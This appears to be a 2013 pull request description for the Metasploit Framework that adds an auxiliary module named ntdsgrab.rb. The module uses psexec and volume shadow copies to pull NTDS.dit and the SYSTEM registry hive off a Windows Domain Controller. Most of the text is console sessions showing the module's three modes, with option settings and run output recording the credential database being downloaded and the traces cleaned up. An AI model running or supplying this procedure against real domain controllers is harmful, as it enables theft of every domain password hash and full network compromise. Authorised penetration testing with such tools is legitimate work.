rapid7/metasploit-framework — pull request #1574 by R3dy (2013-03-10 20:29:05+00:00)
Title: Added Auxiliary Module ntdsgrab.rb

This module uses the psexec Mixin to extract NTDS.dit and the SYSTEM registry hive from a Windows Domain Controller.

Reference:
http://blog.accuvant.com/blog/owning-computers-without-shell-access

The module can be used in three seperate ways.

Check if a volume shadow copy already exists and pull from there:

msf auxiliary(ntdsgrab) > run

[*] 10.0.10.132:445 - Checking if a Volume Shadow Copy exists already.
[+] 10.0.10.132:445 - Volume Shadow Copy exists on \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy74
[*] 10.0.10.132:445 - Checking if NTDS.dit was copied.
[*] Downloading ntds.dit file
[*] Downloading SYSTEM hive file
[*] 10.0.10.132:445 - Executing cleanup...
[*] 10.0.10.132:445 - Cleanup was successful
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Create a new Volume Shadow Copy and pull from there:

msf auxiliary(ntdsgrab) > set CREATE_NEW_VSC true
CREATE_NEW_VSC => true
msf auxiliary(ntdsgrab) > run

[*] Creating Volume Shadow Copy
[+] Volume Shadow Copy created on \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy75
[*] 10.0.10.132:445 - Checking if NTDS.dit was copied.
[*] Downloading ntds.dit file
[*] Downloading SYSTEM hive file
[*] 10.0.10.132:445 - Executing cleanup...
[*] 10.0.10.132:445 - Cleanup was successful
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Target a specific user-defined Volume Shadow Copy and pull form there:

msf auxiliary(ntdsgrab) > set VSCPATH '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy70'
VSCPATH => \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy70
msf auxiliary(ntdsgrab) > run

[*] 10.0.10.132:445 - Attempting to copy NTDS.dit from \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy70
[*] 10.0.10.132:445 - Checking if NTDS.dit was copied.
[*] Downloading ntds.dit file
[*] Downloading SYSTEM hive file
[*] 10.0.10.132:445 - Executing cleanup...
[*] 10.0.10.132:445 - Cleanup was successful
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed